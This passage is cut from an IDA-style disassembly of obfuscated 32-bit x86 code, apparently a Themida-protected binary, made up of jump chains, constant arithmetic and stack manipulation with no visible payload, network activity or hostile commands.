--------------------------------------------------------------------------- loc_55538E: ; CODE XREF: sub_559C84-432j sub edi, 665B788Bh jmp loc_558B45 ; --------------------------------------------------------------------------- loc_555399: ; CODE XREF: sub_559C84+3FE2j add esp, 4 push eax jmp sub_558204 ; --------------------------------------------------------------------------- loc_5553A2: ; CODE XREF: sub_559C84-3EBj pop edi add esi, eax add esi, 0C1A6D1Bh pop eax xchg esi, [esp+34h+var_34] pop esp cmp cl, al pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_5553B8: ; CODE XREF: sub_559C84-4DBFj xchg edx, [esp+4Ch+var_4E+2] mov esp, [esp+4Ch+var_4E+2] push 0A3h mov [esp+50h+var_52+2], eax jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_5553CB proc near ; CODE XREF: sub_559C84+93Fj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00557E31 SIZE 0000001C BYTES sub esp, 4 mov [esp+4+var_4], edi mov edi, 0F213F485h jmp loc_557E31 sub_5553CB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5553DB: ; CODE XREF: sub_559C84-372Ej sub ecx, edi pop edi push ebx mov ebx, ecx mov eax, ebx pop ebx pop ecx jmp sub_5597C1 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_5553EA proc near ; CODE XREF: sub_559C84-220j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055785C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055E1E9 SIZE 00000010 BYTES push ebx mov ebx, 4 jmp loc_55785C sub_5553EA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5553F5: ; CODE XREF: sub_559C84+4630j sub bl, 0FAh sub dh, 14h sub dh, bl add dh, 14h mov ebx, [esp+48h+var_4A+2] add esp, 4 add bl, dh pop edx sub bl, 41h jmp loc_556D74 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5591C7 loc_555414: ; CODE XREF: sub_5591C7-5027j mov edi, 54C922CBh neg edi sub edi, 79188614h jmp loc_557632 ; END OF FUNCTION CHUNK FOR sub_5591C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555426: ; CODE XREF: sub_559C84+428j add esi, eax pop eax sub esp, 4 mov [esp+40h+var_42+2], esi sub [esp+40h+var_42+2], 74473CD7h push [esp+40h+var_42+2] pop edi add esp, 4 push 7283h jmp loc_5552CA ; --------------------------------------------------------------------------- loc_55544D: ; CODE XREF: sub_559C84-107j add edx, 2 xor edx, [esp+40h+var_42+2] jmp loc_55CC0A ; --------------------------------------------------------------------------- loc_55545B: ; CODE XREF: sub_559C84+3F22j pop esp push esi push 3D1Ch mov [esp+44h+var_46+2], esp jmp loc_557F1F ; --------------------------------------------------------------------------- loc_55546A: ; CODE XREF: sub_559C84+42EEj sub esi, 6B736177h jmp loc_55D61A ; --------------------------------------------------------------------------- loc_555475: ; CODE XREF: sub_559C84-1F04j add edx, 2 jmp loc_5558ED ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55547D: ; CODE XREF: Themida_:00553951j add esp, 4 push 1ECEh mov [esp], edi push 30F5h mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55A17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5554AD: ; CODE XREF: sub_559C84-4146j add ecx, 4 xchg ecx, [esp+44h+var_46+2] pop esp sub esp, 4 jmp loc_55D931 ; --------------------------------------------------------------------------- loc_5554BC: ; CODE XREF: sub_559C84-5B51j pop eax push edx jmp loc_55EE15 ; --------------------------------------------------------------------------- loc_5554C3: ; CODE XREF: sub_559C84-167Cj push eax mov al, 0F3h jmp loc_558804 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5554CB: ; CODE XREF: Themida_:00558ED7j pop edx sub ch, 1 push edx mov dl, 2Fh add dl, 16h and ch, dl pop edx shl ch, 3 push edx mov dh, 68h sub dh, 1 sub dh, 0E1h xor dh, 2Bh push cx jmp loc_558117 ; --------------------------------------------------------------------------- loc_5554EE: ; CODE XREF: Themida_:00558BE0j add edx, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_55E499 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55550C: ; CODE XREF: sub_559C84+367Fj sub dh, cl jmp loc_55EE52 ; --------------------------------------------------------------------------- loc_555513: ; CODE XREF: sub_559C84+34A3j xor [esp+0Ch+var_C], 96F4C55h pop eax sub esp, 4 mov [esp+0Ch+var_C], ecx jmp loc_55A427 ; --------------------------------------------------------------------------- loc_555529: ; CODE XREF: sub_559C84-46FBj shr ch, 8 jmp loc_55DFFC ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_555531 proc near ; CODE XREF: sub_559C84-557Bj ; FUNCTION CHUNK AT 0055397D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00558791 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055E783 SIZE 00000007 BYTES push ebp jmp loc_558791 sub_555531 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555537: ; CODE XREF: sub_559C84+1960j mov ecx, [esp+0Ch+var_C] add esp, 4 xor ebx, eax jmp loc_557D33 ; --------------------------------------------------------------------------- loc_555544: ; CODE XREF: sub_559C84+2FA7j push [esp+8+var_4] pop edx pop [esp+8+var_8] jmp loc_55C369 ; --------------------------------------------------------------------------- loc_555551: ; CODE XREF: sub_559C84+2696j push esp pop edx jmp loc_55C847 ; --------------------------------------------------------------------------- loc_555558: ; CODE XREF: sub_559C84+1223j mov [esp+4+var_4], ebx mov ebx, esp push ecx mov ecx, 7FEA3F55h push ebp mov ebp, 7FEA3F51h sub ecx, ebp jmp loc_55E09F ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_555570 proc near ; CODE XREF: sub_559C84-CFj push ebp mov ebp, 64D73902h mov ebx, 0FC7D3873h add ebx, ebp pop ebp jmp loc_55CD1E sub_555570 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555583: ; CODE XREF: sub_559C84-38B6j pop eax pop edx pop eax push ecx mov ch, 4Fh jmp loc_555529 ; --------------------------------------------------------------------------- loc_55558E: ; CODE XREF: sub_559C84+21C9j add esp, 4 and eax, ecx pop ecx jmp loc_55F995 ; --------------------------------------------------------------------------- loc_555599: ; CODE XREF: sub_559C84+4014j inc ebp xor ebp, 5E9E711Fh xor edx, ebp jmp loc_55EEA2 ; --------------------------------------------------------------------------- loc_5555A7: ; CODE XREF: sub_559C84-52C6j add edx, esi sub edx, 296C7ECCh mov esi, [esp+42h+var_42] add esp, 4 push edx jmp loc_55899E ; --------------------------------------------------------------------------- loc_5555BB: ; CODE XREF: sub_559C84+15A6j push [esp+42h+var_3E] pop ebp pop [esp+42h+var_42] mov esp, [esp+3Eh+var_3E] mov ax, word ptr [esp+3Eh+var_3E] push esi jmp loc_55DFB8 ; --------------------------------------------------------------------------- loc_5555D0: ; CODE XREF: sub_559C84+1A75j pop ebx jmp loc_559107 ; --------------------------------------------------------------------------- loc_5555D6: ; CODE XREF: sub_559C84+10ABj mov edi, esi push [esp+3Eh+var_3E] jmp loc_55EC3D ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_5555E0 proc near ; CODE XREF: sub_559C84+28CCj push ebp jmp loc_55C454 sub_5555E0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5555E6: ; CODE XREF: sub_559C84+4B7Dj push edx mov edx, 2FE90E26h not edx push ebx mov ebx, 3C834709h add edx, ebx jmp loc_554FF3 ; --------------------------------------------------------------------------- loc_5555FB: ; CODE XREF: sub_559C84-503Ej xor eax, [esp+52h+var_52] pop esp rol word ptr [esp+4Eh+var_4E], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_555609: ; CODE XREF: sub_559C84+38A3j or ch, 0E6h add ch, 0FEh mov ah, ch pop ecx and bh, ah pop eax add bh, 39h mov ch, bh mov ebx, [esp+4Ah+var_4A] add esp, 4 xor al, ch pop cx sub esp, 4 jmp loc_5560B5 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_555632: ; CODE XREF: Themida_:0055579Cj pop si xor si, 7191h pop ax jmp loc_553A6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555640: ; CODE XREF: sub_559C84+2115j add eax, 243A0F4Fh sub eax, 36456E8Ch jmp loc_553E74 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55564F: ; CODE XREF: Themida_:0055E93Bj mov [esp], edi jmp loc_55394A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555657: ; CODE XREF: sub_559C84+446Aj sub bl, 51h push ax mov al, 0DBh sub bl, 0B6h sub bl, al add bl, 0B6h pop ax add bl, 0AEh sub bl, 13h jmp loc_553900 ; --------------------------------------------------------------------------- loc_555673: ; CODE XREF: sub_559C84+1B1Bj mov [esp+48h+var_4A+2], esi mov esi, 11B91312h mov ebx, 22B2B05Ah add ebx, 2F226792h push esi mov esi, 9DC38EDh neg esi sub esi, 229E5834h inc esi jmp loc_55981F ; --------------------------------------------------------------------------- loc_55569A: ; CODE XREF: sub_559C84+5664j add bl, 0DCh jmp loc_557656 ; --------------------------------------------------------------------------- loc_5556A2: ; CODE XREF: sub_559C84+459Aj push [esp+4Ch+var_4E+2] pop ebx jmp loc_556519 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- lodsb jmp loc_55EA18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5556B1: ; CODE XREF: sub_559C84-22Dj add [esp+4Ch+var_4E+2], 4 pop edi add edi, 4 push edx push ecx mov ecx, 4 push ecx jmp loc_555AD9 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_5556C9 proc near ; CODE XREF: sub_559C84+D87j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55A22F sub_5556C9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5556DF: ; CODE XREF: sub_559C84+3EB9j pop esi jmp loc_55DD31 ; --------------------------------------------------------------------------- loc_5556E5: ; CODE XREF: sub_559C84-3450j mov ecx, 264071FDh jmp loc_55F28F ; --------------------------------------------------------------------------- loc_5556EF: ; CODE XREF: sub_559C84-1121j pop edi add eax, ecx pop ecx shl eax, 4 or eax, 66CC75D8h add eax, 4E1B0D78h mov ebp, eax jmp loc_55CB22 ; --------------------------------------------------------------------------- loc_555707: ; CODE XREF: sub_559C84+47C5j add esp, 4 shl bh, 5 shl bh, 8 push ecx push eax jmp loc_55C809 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55571A: ; CODE XREF: Themida_:005543EBj xor bl, 0A1h sub bl, 1 sub bl, 39h jmp loc_55C13E ; --------------------------------------------------------------------------- loc_555728: ; CODE XREF: Themida_:00557073j mov eax, [esp] add esp, 4 push edi push esp mov edi, [esp] add esp, 4 push eax mov eax, 4 jmp loc_55D6D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555744: ; CODE XREF: sub_559C84+580Dj add ecx, 14ED3850h jmp loc_553ECB ; --------------------------------------------------------------------------- loc_55574F: ; CODE XREF: sub_559C84+53BEj pop ecx mov eax, [esp+48h+var_4A+2] jmp loc_557639 ; --------------------------------------------------------------------------- loc_555758: ; CODE XREF: sub_559C84+3133j mov ebx, 3AE41DCAh sub ebx, 61971490h jmp loc_55A72C ; --------------------------------------------------------------------------- loc_555768: ; CODE XREF: sub_559C84+CC8j add ebp, 4 xchg ebp, [esp+48h+var_4A+2] pop esp shr eax, 18h xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx push 55F7h mov [esp+48h+var_4A+2], ebx not [esp+48h+var_4A+2] mov ebx, [esp+48h+var_4A+2] jmp loc_55A748 ; --------------------------------------------------------------------------- loc_555790: ; CODE XREF: sub_559C84+F25j pop ebx jmp loc_55586C ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_555796: ; CODE XREF: Themida_:005588E9j xor word ptr [esp], 7191h jmp loc_555632 ; --------------------------------------------------------------------------- loc_5557A1: ; CODE XREF: Themida_:00558835j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5557B0: ; CODE XREF: sub_559C84-3B0j push edx mov edx, 4B34268h add eax, edx pop edx add eax, ebp jmp loc_55A319 ; --------------------------------------------------------------------------- loc_5557C0: ; CODE XREF: sub_559C84+3911j mov [esp+44h+var_46+2], edx jmp loc_553BD3 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55DE7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55929E loc_5557D1: ; CODE XREF: sub_55929E+19j push dword ptr [esp+4] jmp loc_55768B ; END OF FUNCTION CHUNK FOR sub_55929E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5557DA: ; CODE XREF: sub_559C84+209Aj add eax, ebp pop ebp pop ebx push edi jmp loc_55B9A1 ; --------------------------------------------------------------------------- loc_5557E4: ; CODE XREF: sub_559C84-29A3j push ecx push 1207254Fh pop ecx push eax jmp loc_554E60 ; --------------------------------------------------------------------------- loc_5557F1: ; CODE XREF: sub_559C84+1EA6j pop ecx and edi, 23472E15h shr edi, 8 shr edi, 4 add edi, 27B704A8h and edx, edi pop edi shl edx, 5 jmp loc_553679 ; --------------------------------------------------------------------------- loc_55580F: ; CODE XREF: sub_559C84-5736j sub al, 79h sub al, 8Fh jmp loc_55D3F3 ; --------------------------------------------------------------------------- loc_555818: ; CODE XREF: sub_559C84+3C46j mov [esp+30h+var_30], ecx mov ecx, eax mov edx, ecx jmp loc_55DDAD ; --------------------------------------------------------------------------- loc_555824: ; CODE XREF: sub_559C84+15ACj push edi mov edi, 7FE5FA3h or edi, 5576264Dh jmp loc_55B358 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_555835 proc near ; CODE XREF: sub_559C84-121Aj var_4 = dword ptr -4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp push ecx push esp pop ecx push ebx mov ebx, 73CB38D4h shr ebx, 3 inc ebx or ebx, 20A72560h jmp loc_55B3EF sub_555835 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55585D: ; CODE XREF: sub_559C84+3A30j jmp loc_55351F ; --------------------------------------------------------------------------- loc_555862: ; CODE XREF: sub_559C84-54Bj add eax, 4 jmp loc_558EC7 ; --------------------------------------------------------------------------- loc_55586C: ; CODE XREF: sub_559C84-44F3j xchg edi, [esp+44h+var_46+2] pop esp jmp loc_55C4C5 ; --------------------------------------------------------------------------- loc_555875: ; CODE XREF: sub_559C84-5E15j xor edx, 41383D49h shr edx, 8 sub edx, 8B3D94h add ebp, 3F236D22h add ebp, edx sub ebp, 3F236D22h pop edx push ebx mov ebx, 370B776Eh push edx mov edx, 34441B7Eh dec edx shr edx, 5 jmp loc_55BF40 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5558A8: ; DATA XREF: Themida_:00553264o lodsw push si push ax jmp loc_5588E3 ; =============== S U B R O U T I N E ======================================= sub_5558B3 proc near ; CODE XREF: sub_559C84-3164j var_4 = dword ptr -4 push ebp neg [esp+4+var_4] pop ebp jmp loc_55D4E3 sub_5558B3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5558BD: ; CODE XREF: sub_559C84+36A2j mov eax, [esp+4+var_4] push 5ADh mov [esp+8+var_8], eax jmp loc_55EFC4 ; --------------------------------------------------------------------------- loc_5558CD: ; CODE XREF: sub_559C84-109Ej mov esi, esp jmp loc_559672 ; --------------------------------------------------------------------------- loc_5558D4: ; CODE XREF: sub_559C84+3ACDj inc dh sub esp, 4 mov [esp+0Ch+var_C], eax mov al, 3 jmp loc_55710F ; --------------------------------------------------------------------------- loc_5558E3: ; CODE XREF: sub_559C84+2981j xor eax, 5DA2014Ah jmp loc_55E014 ; --------------------------------------------------------------------------- loc_5558ED: ; CODE XREF: sub_559C84-480Cj xor edx, [esp+44h+var_46+2] xor [esp+44h+var_46+2], edx jmp loc_55C60A ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559A2E loc_5558F8: ; CODE XREF: sub_559A2E-240Aj add edi, 4 xchg edi, [esp+4+var_4] pop esp add al, bh push dword ptr [esp+0] pop ebx jmp loc_5585C0 ; END OF FUNCTION CHUNK FOR sub_559A2E ; =============== S U B R O U T I N E ======================================= sub_55590A proc near ; CODE XREF: sub_559C84+3B35j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00553EA1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00556BC7 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00556F58 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00557588 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005577D4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00558F74 SIZE 0000000D BYTES push ebp push 1360h jmp loc_553EA1 sub_55590A endp ; --------------------------------------------------------------------------- loc_555915: ; CODE XREF: Themida_:0055443Ej pop esp jmp loc_55470E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] sub esp, 4 mov [esp], ebx jmp loc_55A532 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55592C: ; CODE XREF: sub_559C84+2B6Cj sub ebx, ecx pop ecx pop dword ptr [eax] jmp loc_55351F ; --------------------------------------------------------------------------- loc_555936: ; CODE XREF: sub_559C84-505Ej xor [esp+46h+var_46], ebx xor ebx, [esp+46h+var_46] mov esp, [esp+46h+var_46] xor [esp+46h+var_46], eax jmp loc_55351F ; --------------------------------------------------------------------------- loc_555947: ; CODE XREF: sub_559C84-5977j add edi, 65CCB13Fh jmp loc_555978 ; --------------------------------------------------------------------------- loc_555952: ; CODE XREF: sub_559C84-352j sub eax, 2 xchg eax, [esp-10h+arg_C] jmp loc_5596F7 ; --------------------------------------------------------------------------- loc_55595D: ; CODE XREF: sub_559C84-2620j pop edx jmp loc_559D02 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_555963: ; CODE XREF: Themida_:00555BCAj add ebx, 2 push ebx jmp loc_5547A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55596C: ; CODE XREF: sub_559C84-5772j mov dl, 59h jmp loc_556242 ; --------------------------------------------------------------------------- loc_555973: ; CODE XREF: sub_559C84+298Ej jmp loc_55351F ; --------------------------------------------------------------------------- loc_555978: ; CODE XREF: sub_559C84-4337j sub edx, edi pop edi jmp sub_557739 ; --------------------------------------------------------------------------- loc_555980: ; CODE XREF: sub_559C84+2A9Aj pop esi xor ebp, ecx mov ecx, [esp-18h+arg_14] jmp loc_55DBD6 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55598B proc near ; CODE XREF: sub_559C84-4ABEj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00559619 SIZE 00000007 BYTES push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp push ebx mov ebx, 32873E6Bh push ebp push eax mov eax, 74AF229Eh mov ebp, offset word_577E4A jmp loc_559619 sub_55598B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5559B2: ; CODE XREF: sub_559C84-3E5Aj add edx, 4 add edx, 4 push edx jmp loc_559835 ; --------------------------------------------------------------------------- loc_5559C4: ; CODE XREF: sub_559C84+42D5j add eax, 72B606F7h jmp loc_55B305 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55702F loc_5559CE: ; CODE XREF: sub_55702F-31C8j add esp, 4 loc_5559D1: ; CODE XREF: sub_559C84-2E39j push 2371h mov [esp+0], ebx push dword ptr [esp+0] mov eax, [esp+4+var_4] add esp, 4 push ebp mov ebp, esp push esi mov esi, 4 jmp loc_55B604 ; END OF FUNCTION CHUNK FOR sub_55702F ; =============== S U B R O U T I N E ======================================= sub_5559F0 proc near ; DATA XREF: Themida_:00553444o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055692A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00557294 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00558A46 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055E89E SIZE 00000008 BYTES mov cx, [esp+0] push 6661h mov [esp+4+var_4], edi jmp loc_55692A sub_5559F0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555A01: ; CODE XREF: sub_559C84-5780j mov edi, 3A3107E8h not edi xor edi, 658C028Ah or edi, 2D130F47h sub edi, 3062E639h sub edx, 356554BDh add edx, edi add edx, 356554BDh pop edi add edx, 7F2F56FCh push dword ptr [edx] mov eax, [esp+30h+var_30] add esp, 4 pop edx push 1E09h mov [esp+2Ch+var_2C], eax mov eax, 18AF0AEBh add eax, 0ED18F8F2h add edx, eax pop eax sub edx, 1A2065DBh add edx, eax add edx, 1A2065DBh sub esp, 4 mov [esp+2Ch+var_2C], esi push eax jmp loc_55E908 ; --------------------------------------------------------------------------- loc_555A67: ; CODE XREF: sub_559C84-625Aj mov [esp+4Ah+var_4A], ebx push [esp+4Ah+var_4A] pop ebx push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx sub ebp, 4 push ebp push [esp+52h+var_4E] pop ebp pop [esp+52h+var_52] pop esp mov [esp+4Ah+var_4A], edx mov edx, esp add edx, 4 push ecx push eax mov eax, 685C18F9h add eax, 97A3E70Bh mov ecx, eax pop eax add edx, ecx mov ecx, [esp+4Eh+var_4E] add esp, 4 jmp loc_55B8FE ; --------------------------------------------------------------------------- loc_555AB1: ; CODE XREF: sub_559C84-2561j mov eax, 213B1A36h add ebx, eax pop eax push eax jmp loc_55B056 ; --------------------------------------------------------------------------- loc_555ABF: ; CODE XREF: sub_559C84+32BDj shl edx, 1 push 1F8Bh mov [esp+4Eh+var_4E], ebx sub esp, 4 mov [esp+52h+var_52], eax mov eax, 2EC315Bh jmp loc_5577F6 ; --------------------------------------------------------------------------- loc_555AD9: ; CODE XREF: sub_559C84-45C0j pop edx pop ecx sub edi, 8C3F60h add edi, edx add edi, 8C3F60h pop edx push edi push [esp+4Ch+var_4A+2] jmp loc_5567F8 ; --------------------------------------------------------------------------- loc_555AF4: ; CODE XREF: sub_559C84+1E61j push 13F6h mov [esp+0], eax mov eax, 69CF26B0h jmp loc_55B1D2 ; --------------------------------------------------------------------------- loc_555B06: ; CODE XREF: sub_559C84-2A5Dj sub ecx, 19CC313Fh add ecx, 41599D0Fh mov edx, ecx pop ecx shr edx, 3 jmp loc_55C325 ; --------------------------------------------------------------------------- loc_555B1D: ; CODE XREF: sub_559C84+36B3j sub ecx, edx add ecx, 31552C01h pop edx sub eax, 46673F11h sub eax, ecx add eax, 46673F11h mov ecx, [esp+4Ch+var_4E+2] push ecx push esp pop ecx add ecx, 4 jmp loc_5554AD ; --------------------------------------------------------------------------- loc_555B43: ; CODE XREF: sub_559C84+4974j pop ebp mov ecx, [esp+4Ch+var_4E+2] add esp, 4 push esi mov esi, 59665858h jmp loc_556631 ; --------------------------------------------------------------------------- loc_555B58: ; CODE XREF: sub_559C84+3E1Cj xchg esi, [esp+4Ch+var_4E+2] pop esp loc_555B5C: ; CODE XREF: sub_559C84-5136j push 991h mov [esp+4Ch+var_4E+2], ecx push 3F9h mov [esp+50h+var_52+2], ebx jmp loc_5550A0 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_555B71: ; CODE XREF: Themida_:00554785j mov ebp, esp push edx jmp loc_5541A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555B79: ; CODE XREF: sub_559C84-1CDAj push eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop [esp+58h+var_58] pop esp mov edi, [esp+50h+var_52+2] jmp loc_55BCE9 ; --------------------------------------------------------------------------- loc_555B98: ; CODE XREF: sub_559C84-50EAj xor [esp+48h+var_4A+2], ecx xor ecx, [esp+48h+var_4A+2] mov esp, [esp+48h+var_4A+2] mov [esp+48h+var_4A+2], ebx mov eax, [esp+48h+var_4A+2] add esp, 4 push 4308h mov [esp+48h+var_4A+2], edx sub esp, 4 jmp loc_557043 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_555BBA: ; CODE XREF: Themida_:00559580j sub dword ptr [esp+4], 19DF7D97h pop ebx pop ebx add ebx, 4 jmp loc_555963 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555BCF: ; CODE XREF: sub_559C84+2C72j push eax mov eax, 29725031h xor esi, eax pop eax xor ecx, esi pop esi xor esi, ecx pop ecx jmp loc_55B39D ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_555BE3 proc near ; CODE XREF: sub_559C84+2DF6j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = word ptr 8 ; FUNCTION CHUNK AT 0055493F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055634B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055752D SIZE 00000039 BYTES ; FUNCTION CHUNK AT 00557782 SIZE 00000052 BYTES ; FUNCTION CHUNK AT 00558253 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055914E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055DD59 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055ECCC SIZE 0000001D BYTES sub esp, 4 mov [esp+4+var_4], edi push 73C0h jmp loc_55914E sub_555BE3 endp ; --------------------------------------------------------------------------- lodsb sub esp, 4 jmp loc_55A527 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555BFC: ; CODE XREF: sub_559C84+102Fj push edi push edx mov edx, 3F325C34h push ecx mov ecx, 7C8C72F2h inc ecx add ecx, 0E6CACB15h xor edx, ecx pop ecx mov edi, edx pop edx jmp loc_554B32 ; --------------------------------------------------------------------------- loc_555C1B: ; CODE XREF: sub_559C84-5E75j sub edi, ecx pop ecx inc edi shl edi, 2 shl edi, 6 push esi mov esi, 0C636304h xor edi, esi pop esi add eax, edi jmp loc_55E890 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_555C35 proc near ; CODE XREF: sub_559C84+3991j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005587AD SIZE 0000001F BYTES push ebx jmp loc_5587AD sub_555C35 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555C3B: ; CODE XREF: sub_559C84+3061j mov edx, [esp+0] jmp loc_55AC12 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_555C43: ; CODE XREF: Themida_:00557017j push small 2978h mov [esp], ax jmp loc_55351F ; =============== S U B R O U T I N E ======================================= sub_555C50 proc near ; DATA XREF: Themida_:00553430o var_2 = word ptr -2 movzx ax, byte ptr fs:[edx] push small 4117h mov [esp+2+var_2], ax jmp loc_55351F sub_555C50 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555C62: ; CODE XREF: sub_559C84+DB7j mov ebp, 269B7BB4h and edx, ebp mov ebp, [esp+0] jmp loc_55FBF1 ; --------------------------------------------------------------------------- loc_555C71: ; CODE XREF: sub_559C84-5758j mov ebx, [esp+30h+var_30] add esp, 4 sub al, dh pop edx add al, 66h add al, 0D4h inc al sub al, 75h mov bl, al jmp loc_557BE3 ; --------------------------------------------------------------------------- loc_555C8C: ; CODE XREF: sub_559C84-6229j sub edx, 795140F7h pop ebx xor edx, [esp+46h+var_46] xor [esp+46h+var_46], edx xor edx, [esp+46h+var_46] pop esp inc word ptr [esp+42h+var_42] pushf jmp loc_553700 ; --------------------------------------------------------------------------- loc_555CA7: ; CODE XREF: sub_559C84+3D1j add esp, 4 xchg ebp, [esp+42h+var_42] pop esp mov [esp+3Eh+var_3E], esi mov esi, 788A2764h add edi, esi pop esi xor edi, 0A86F769Fh xor eax, edi push [esp+3Ah+var_3A] jmp loc_55E480 ; --------------------------------------------------------------------------- loc_555CC9: ; CODE XREF: sub_559C84-4FA7j sub ebx, ecx 